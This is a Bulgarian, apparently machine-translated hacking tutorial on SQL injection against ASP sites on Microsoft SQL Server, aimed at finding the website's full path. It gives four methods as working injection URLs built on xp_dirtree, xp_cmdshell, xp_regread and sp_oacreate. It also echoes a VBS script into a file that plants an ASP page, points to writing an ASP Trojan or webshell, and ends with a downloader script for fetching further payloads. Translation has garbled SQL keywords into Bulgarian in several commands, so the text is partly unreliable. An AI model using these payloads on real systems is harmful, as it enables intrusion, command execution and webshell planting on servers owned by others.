SQL инжекция за получаване на пълния път на уебсайта
Ако сайтът има само 80 порта, следните методи ще ви бъдат по-полезни
Почти всички методи, използвани в нея, не са това, което открих, и статията винаги включва личен опит и умения при инжектиране
Съществуват 4 метода (сега известни)
Първи метод:
Това е <怪异的SQL注入>методът, въведен в < >
Използвайки xp_dirtree на sqlserver, нека първо поговорим за метода, а след това за неговите предимства и недостатъци (някои добавки са направени на базата на оригиналния текст)
Създаване на таблици
Изявление:http://www.xxxxx.com/down/list.asp?id=1;create Таблица директори(Paths varchar(1000))--
Назад: Нормална информация! Това означава, че таблицата е успешно създадена! Продължавай!
(Този, който е сглобен, е малко по-голям от оригинала, защото съм попадал на файл с дълго име и съм изтрил id-то, защото е безполезен)
Изявление:http://www.xxxxx.com/down/list.asp?id=1;insert Директор master.dbo.xp_dirtree 'C:\' --
Връщания: Нормална информация. Това означава, че всички директории, записани на C диск, са успешни! Яко! Следващата стъпка е да вземеш уреда! Наруши го и излез. (Изглежда, че има само един начин да се направи това)
Изявление:http://www.xxxxx.com/down/list.asp?id=1 и 0<>(изберете топ 1 пътя от директорите)-
Връщания: Microsoft OLE DB provider for SQL Server грешка 80040e07
Синтактична грешка възниква при преобразуване на вархар стойността '@Inetpub' в колона с тип данни int.
След това имената на директориите в таблицата се появяват последователно!
Изявление:http:// http://www.xxxxx.com/down/list.asp?id=1 и 0<>(изберете топ 1 пътя от
директори, където пътищата не са в ('@Inetpub'))--
Връщания: Microsoft OLE DB provider for SQL Server грешка 80040e07
Синтактична грешка възниква при преобразуване на стойността на varchar 'test' в колона с тип данни int.
След това имената на директориите в таблицата се появяват последователно!
Добре, нека продължим
Изявление:http:// http://www.xxxxx.com/down/list.asp?id=1 и 0<>(изберете топ 1 пътя от
директори, където пътищата не са в ('@Inetpub','тест'))--
Връщания: Microsoft OLE DB provider for SQL Server грешка 80040e07
Синтактична грешка възниква при преобразуване на стойността на варчар 'хаха' в колона с тип данни int.
След това имената на директориите в таблицата се появяват последователно!
Добре, трябва да знаеш как да го направиш, хаха, просто добави името на таблицата, която получаваш, в скобите, сложи колкото искаш,
Малък трик:
Понякога ще забележиш, че когато входът е сходен
http://www.xxxxx.com/down/list.asp?id=1 и 0<>(изберете топ 1 пътя от директорите)-
Вместо да показва грешка, уеб страницата се показва нормално
Замаяно, не се притеснявай
Погледнете 0<> (изберете топ 1 пътя от директорите), за да покажете, че връщането е число,
Хаха, пробвай и виж колко струва
100> (изберете топ 1 пътя от директорите)
Връщане към нормалното
Хаха, можеш бързо да предположиш с този метод за повече или по-малко
Добре, нека продължим
Например, когато се появи
59=(изберете топ 1 път от директорите)
Връщане към нормалното,
Добре, името ми е 59
Въведете по следния начин
http:// http://www.xxxxx.com/down/list.asp?id=1 и 0<>(изберете топ 1 пътя от
директори, където пътищата не са в ('59'))--
Не забравяй да сложиш кавички
Следващият метод е същият като оригиналния
Има и проблем
Понякога, когато въвеждам 59 с горния метод, откривам, че следващата папка все още е 59
Какво става?
Хехе, не знам дали си забелязал, че 059 и 59 са еднакви?
Затова хаха,
http:// http://www.xxxxx.com/down/list.asp?id=1 и 0<>(изберете топ 1 пътя от
директори, където пътищата не са в ('059'))--
Открих, че името на следващата папка се показва, добре
Анализ на предимствата и недостатъците:
Предимството е, че всички потребители на sqlserver могат да го използват, защото xp_dirtree прилага разрешението PUBLIC,
Недостатъкът е, че се показват имената на всички папки в директорията, а подредбата изглежда не е подредена, накратко, трудно е да намериш желаната папка сред хиляди или десетки хиляди папки.
И знаете, че наличието на тази папка не е гарантирано в основната директория, което е наистина болезнено – често зависи от късмет и издръжливост.
Пожелавам ти успех
Метод 2:
Използвайте xp_cmdshell
Хаха, всички сигурно са запознати с това, нека го кажа накратко
Създаване на таблици
Изявление:http://www.xxxxx.com/down/list.asp?id=1;create Таблица директори(Paths varchar(1000))--
Назад: Нормална информация! Това означава, че таблицата е успешно създадена! Продължавай!
(Този, който е сглобен, е малко по-голям от оригинала, защото съм попадал на файл с дълго име и съм изтрил този id, защото е безполезен.)
Изявление:http://www.xxxxx.com/down/list.asp?id=1;insertдиректор master.dbo.xp_cmdshell 'реж. C:\ /B/D' --
Връщания: Нормална информация. Това означава, че всички директории, записани на C диск, са успешни! дир c:\ /B/D се използва тук, хаха, ако не знаеш какво прави /B/D, опитай да видиш какво прави
Изявление:http://www.xxxxx.com/down/list.asp?id=1 и 0<>(изберете топ 1 пътя от директорите)-
Връщания: Microsoft OLE DB provider for SQL Server грешка 80040e07
Синтактична грешка възниква при преобразуване на вархар стойността '@Inetpub' в колона с тип данни int.
След това имената на директориите в таблицата се появяват последователно!
Изявление:http:// http://www.xxxxx.com/down/list.asp?id=1 и 0<>(изберете топ 1 пътя от
директори, където пътищата не са в ('@Inetpub'))--
Връщания: Microsoft OLE DB provider for SQL Server грешка 80040e07
Синтактична грешка възниква при преобразуване на стойността на varchar 'test' в колона с тип данни int.
След това имената на директориите в таблицата се появяват последователно!
Методът е същият като по-горе, така че няма да говоря за това
Понякога можем да направим нещо и със следните две разширения
1) Можем да използваме xp_availablemedia, за да съберем всички текущи дискове и да ги запазим в таблицата с директори:
5 ; вмъкнете директори изпълнителен master.dbo.xp_availablemedia; --
Можем да получим списъка с дискове и свързаната информация, като направим запитване към съдържанието на temp
(2) Можем да използваме xp_subdirs, за да получим списъка с поддиректории и да ги съхраним в таблицата на директорите:
5 ; Вмъкнете в директорите exec master.dbo.xp_subdirs 'c:\' ; --
Анализ на предимствата и недостатъците:
Очевидно това няма да xp_dirtree ситуация, в която всички директории са събрани, а само директорията от първо ниво, което е много по-лесно за намиране.
Недостатъците също са очевидни – само SA има това разрешение, а също така е възможно администраторът да е изтрил това разширение (все пак е твърде мощно).
Метод 3:
Този подход е добър
Следва оригиналният текст
Мислех да използвам програмата adsutil.vbs, която използвах
a'; Изпълнителен майстор... xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt'; --
Не е ли дълго? Чрез него можем да създадем първия виртуален уебсайт в IIS (включително и самата директория, в която се намира, разбира се)
Импортиране в a.txt
По подразбиране действителното местоположение на a.txt е разбира се c:\winnt\system32, което всъщност не е проблем, но когато срещнете администратор, който задава adsutil.vbs
Изтрий или го сложи другаде
Не можем да направим нищо по въпроса (не можеш сам да напишеш такава с echo командата)
Стъпка 2: Използвайте командата echo, за да напишете следния код в c:\, което не е много
..... xp_cmdshell 'echo set fso1=createobject("scripting.filesystemobject">c:\read.vbs'; --
..... xp_cmdshell 'echo Set WshShell = Wscript.createObject("Wscript.Shell">>c:\read.vbs'
; --
.....
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject"
Set WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("процес"("windir"
set fil =fso1.opentextfile(spa & "\system32\aa.txt"
Прави докато не е fil.atendofstream
nr=fil.readline
ако left(nr,4)="Път" тогава
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,"-3)
излез направи
край ако
Обиколка
set fil1 =fso1.opentextfile(PA &"\dd.asp",2,true)
fil1.writeline ""
---------------режи тук-------------------------------------
Стъпка 3: Разбира се, това е да изпълним read.vbs, за да можем да четем съдържанието в aa.txt и да намерим реалния път на уебсайта
След това напишете файл, наречен dd.asp, в кореновата директория на уебсайта и ще разберете дали можете да го пробвате успешно
изпълнявамhttp://x.x.x.x/dd.asp
Връщания: \xxx
Хаха, това е добър начин,
Въпреки това, оригиналният текст изглежда има някои проблеми
Това е
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
set fil1 =fso1.opentextfile(pa%2B"\dd.asp",2,true)
Грешка възниква, когато се подадат две изречения
Затова измислихме плюс знака, който има същата функция като &
И за какво да пиша dd.asp? Пиши на татко, хаха
Хаха, промених го
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject"
Set WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("процес"("windir"
set fil =fso1.opentextfile(spa "\system32\aa.txt"
Прави докато не е fil.atendofstream
nr=fil.readline
ако left(nr,4)="Път" тогава
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,"-3)
излез направи
край ако
Обиколка
set fil1 =fso1.opentextfile(PA "\dd.asp",2,true)
fil1.writeline pa
---------------Реже тук--------------------------------------
Тъй като времевият номер се преобразува в интервал при изпращане в браузър, трябва също да зададете
Става %2B, добре, трябва да е наред, както следва
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject"
Set WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("процес"("windir"
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
Прави докато не е fil.atendofstream
nr=fil.readline
ако left(nr,4)="Път" тогава
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,"-3)
излез направи
край ако
Обиколка
set fil1 =fso1.opentextfile(pa %2B "\dd.asp",2,true)
fil1.writeline pa
---------------Реже тук--------------------------------------
Ако установим, че 1 не съществува, можем да станем 2, 3, 4...........
a'; Изпълнителен майстор... xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/2/root>a.txt'; --
Но този метод може да се използва само под Windows 2000, тъй като адресите на новосъздадените уебсайтове под 2003 не са подредени според 1234, изглежда е генериран на случаен принцип, и съм сравнил няколко под 2003
адрес, не е открита редовност.
Анализ на предимствата и недостатъците:
Същото важи xp_cmdshell Не всеки потребител може да го използва! Друг проблем е, че adsutil файлът не съществува непременно или не е непременно в този път, въпреки че можеш да го използваш, ако искаш
Echo пише едно (хаха, старо и старо), а друг въпрос е, ами ако има много сайтове на хоста? Срещал съм хост с девет сайта и само осмият е полезен
Да, слаб, трудно е някой да има търпение да продължи толкова много, може би всичко се е срутило отдавна. Също така, не може да се използва през 2003 г.!
Но честно казано, този метод наистина е добър метод
Метод 4:
Този метод е да се прочете пътят от регистъра през xp_regread и т.н.
Препоръчва се следното за получаване на пътя към уеб страницата (прочетете регистъра чрез съхранени процедури):
Използвайте вградената съхранена процедура xp_regread (четене на регистъра, разрешението публично):
Изявление: http://www.xxx.com/list.asp?classid=1; create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Обяви@test
Варчар (20) изпълнителен майстор... xp_regread @rootkey= HKEY_LOCAL_MACHINE , @key=
SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\ , @value_name= / , стойности=@test OUTPUT вмъкни в пътищата
(път) ценности(@test)
IIS по подразбиране в регистъра HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\
Използвайте полето burst, за да прочетете стойността на базата данни:
Изявление: http://www.xxx.com/list.asp?classid=1 и 0<>(изберете топ 1 пътя от newtable)--return: Microsoft OLE DB Provider for
ODBC Drivers error 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server] преобразува стойността на varchar E:\www,,201 в тип данни int
колона.
Това означава, че директорията на уеб страницата е в E:\www, а след това можете да използвате и FSO, за да пишете директно към ASP Trojan
Ами ако не можеш да получиш уеб директория? Трябва да познаете дали сайтът използва стандартния WEB или домейна като WEB.
declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,' cscript.exe c:
\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"'
Създайте виртуална директория E под стандартния WEB сайт, като посочете E: под диска.
declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,' cscript.exe c:
\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e browse'
Добре е да се добавят атрибути за сърфиране във виртуалната директория e. Отворете виртуална услуга за себе си. Като мисля за пътищата на уеб страниците, главата ми почти се чупи. Сега отворих очи. Това е WEBSHELL, който използва MS
SQL е краят на нашата работа, а следващата работа трябва да е ваша.
Хаха, методът е добър, прочети го през регистрационния формуляр, удобно и бързо!
Анализ на предимствата и недостатъците:
Предимството, разбира се, е, че е удобно и бързо. Недостатъкът е, че можеш да видиш само пътя на стандартния IIS сайт, и ако вече не е стандартният сайт, няма какво да направиш (проследих го с regsnape), ако е под 2003
Тоест, дори стандартният път на сайта не се показва! В болка
Между другото, всъщност има и други начини да продължите проникването, освен да намерите пътя към сайта, като качване на bounce трояна чрез tftp или писане на iget.vbs, за да изтеглите желания dongdong
Кодът iget.vbs е следният:
---------старт----------
Set xPost = createObject("Microsoft.XMLHTTP")
xPost.Open "GET",LCase(WScript.Arguments(0)),0
xPost.Send()
Set sGet = createObject("ADODB. Стрийм"
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile LCase(WScript.Arguments(1)),2
----------край-----------
Допълнение към тази статия:
Напоследък установих, че разбирането ми за инструкциите на председател Мао не е достатъчно дълбоко и бих искал да добавя тук
Всъщност, горните методи изобщо не е нужно да се сравняват, xp_dirtree са най-добрите, стига този метод да е достатъчен
Просто защото бях твърде ..............
Днес отново ще разкрия тайната на xp_dirtree
Добре, нека направим изпълнителен майстор: xp_dirtree'd:/test'
Да кажем, че имаме две папки в test1 и test2, и test3 в test1
Резултатите показват
Дълбочина на поддиректорията
test1 1
test3 2
test2 1
Хаха, открих, че няма дълбочина в серията на директорията
Добре, знай какво да правиш
http://www.xxxxx.com/down/list.asp?id=1;create Таблица директори(Paths Varchar(1000),id int)--
http://www.xxxxx.com/down/list.asp?id=1;insert Директор master.dbo.xp_dirtree 'D:\' --
http://www.xxxxx.com/down/list.asp?id=1 и 0<>(изберете топ 1 пътя от директорите, където id=1)-
Докато се добави id=1, това е директорията от първо ниво.
|